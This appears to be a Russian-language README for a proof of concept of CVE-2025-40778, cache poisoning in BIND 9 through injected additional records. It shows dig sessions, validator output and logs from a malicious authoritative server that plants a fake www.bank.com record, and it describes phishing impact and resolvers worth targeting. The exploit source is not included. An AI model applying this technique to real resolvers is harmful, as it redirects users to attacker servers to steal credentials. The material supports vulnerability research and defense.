
Доказательство концепции, демонстрирующее отравление DNS-кэша через инъекцию дополнительных записей в BIND 9, с инструментами для проверки и эксплуатации CVE-2025-40778 в рамках авторизованного тестирования безопасности.
Образовательная демонстрация уязвимости отравления DNS-кэша через инъекцию дополнительных записей (Additional Records).
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ
Данный инструмент предоставляется исключительно для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным.
Автор не несёт ответственности за неправомерное использование или ущерб, причинённый данным инструментом.
Данный PoC демонстрирует, как скомпрометированный авторитетный DNS-сервер может внедрять отравленные записи в DNS-ответы, потенциально перенаправляя пользователей на вредоносные серверы без их ведома.
Вектор атаки:
Возможные сценарии:
👤 Автор и контакты
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Данный инструмент определяет, возможно ли эксплуатировать уязвимость CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Описание: На этом шаге вы запускаете вредоносный авторитетный DNS-сервер, который имитирует скомпрометированный сервер имён. Сервер прослушивает определённый IP-адрес и порт (127.0.0.2:5301), готовый внедрять отравленные DNS-записи в ответы. После настройки он будет отвечать на легитимные запросы для www.test.local правильным IP-адресом, но одновременно внедрять вредоносную запись для www.bank.com, указывающую на IP-адрес, контролируемый атакующим. Такое поведение с двойным ответом является ядром атаки отравления кэша — уязвимый DNS-резолвер закэширует как легитимный ответ, так и отравленную запись, даже несмотря на то, что был запрошен только один домен.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Описание: Здесь вы выполняете стандартный DNS-запрос через ваш локальный резолвер (BIND), чтобы убедиться, что инфраструктура работает корректно. Запрос для www.test.local должен вернуть легитимный IP-адрес (192.168.0.136), как и ожидалось. На этом этапе ответ выглядит нормальным для конечного пользователя — нет видимых признаков компрометации. Однако за кулисами уязвимый DNS-резолвер уже закэшировал обе записи: легитимную, которую вы запросили, И отравленную запись для www.bank.com, которая была внедрена в дополнительную секцию ответа. Этот шаг подтверждает, что ваш DNS-резолвер успешно связался с вредоносным авторитетным сервером и обработал его ответ.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
Описание: Этот шаг раскрывает доказательства успешного отравления кэша с точки зрения атакующего. Логи вредоносного DNS-сервера показывают, что он получил запрос для www.test.local, ответил легитимным ответом И успешно внедрил отравленную запись для www.bank.com. Обозначение "RRs: A,A" указывает на то, что в ответе были отправлены две A-записи — одна легитимная, одна вредоносная. В этот момент DNS-кэш жертвы скомпрометирован. Любые последующие запросы для www.bank.com с этого резолвера будут возвращать IP-адрес атакующего (192.168.0.100) вместо реального банковского веб-сайта, что обеспечивает прозрачные фишинговые атаки, при которых пользователи видят правильный URL, но подключаются к вредоносному серверу. Атака невидима для конечных пользователей и будет сохраняться до истечения срока действия DNS-кэша (TTL).
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
Что это означает на практике:
Представьте, что вы обычный пользователь, пытающийся зайти на веб-сайт своего банка. Вы внимательно вводите www.bank.com в браузер — URL на 100% правильный, без опечаток, без подозрительных ссылок из писем. Адресная строка вашего браузера показывает именно тот домен, которому вы доверяете. Всё выглядит легитимно.
Но вот что на самом деле произошло за кулисами:
DNS-сервер вашей компании был скомпрометирован атакующим, который отравил его кэш с помощью этой уязвимости. Когда ваш компьютер спрашивает "Где находится www.bank.com?", отравленный DNS отвечает IP-адресом сервера атакующего вместо реального адреса банка.
Анатомия атаки
Что атакующий может украсть:
Почему это так опасно:
Эта атака полностью невидима для жертвы. Нет предупреждений, нет тревожных сигналов, нет способа для обычного пользователя её обнаружить. Даже профессионалы в области безопасности могут стать жертвами, потому что атака происходит на уровне инфраструктуры, а не на устройстве пользователя. Один скомпрометированный DNS-сервер может одновременно затронуть тысячи пользователей, что делает его высокоэффективным вектором атаки для киберпреступников, нацеленных на организации.
Суть: CVE-2025-40778 позволяет атакующим вооружить доверие. Когда сама инфраструктура, на которую мы полагаемся для навигации в интернете, скомпрометирована, даже самые осторожные пользователи становятся уязвимыми. Именно поэтому понимание, тестирование и смягчение этой уязвимости критически важно для позиции безопасности любой организации.
Критическое требование: Для успеха этой атаки жертва должна использовать скомпрометированный DNS-резолвер. Атака не направлена напрямую на устройства конечных пользователей — вместо этого она нацелена на DNS-инфраструктуру, от которой пользователи зависят при навигации в интернете.
Реальные цели атаки:
Основная цель атакующего — скомпрометировать DNS-резолверы, обслуживающие большие базы пользователей. Наиболее ценные цели включают:
Почему это важно:
Эффективность атаки масштабируется в зависимости от базы пользователей DNS-резолвера. Скомпрометируйте один DNS-сервер провайдера — и вы потенциально скомпрометируете каждого клиента, который не изменил свои DNS-настройки вручную. Именно поэтому безопасность DNS на уровне инфраструктуры критически важна — один уязвимый резолвер может создать огромную поверхность атаки, затрагивающую тысячи или миллионы пользователей, которые доверяют этой инфраструктуре быть безопасной.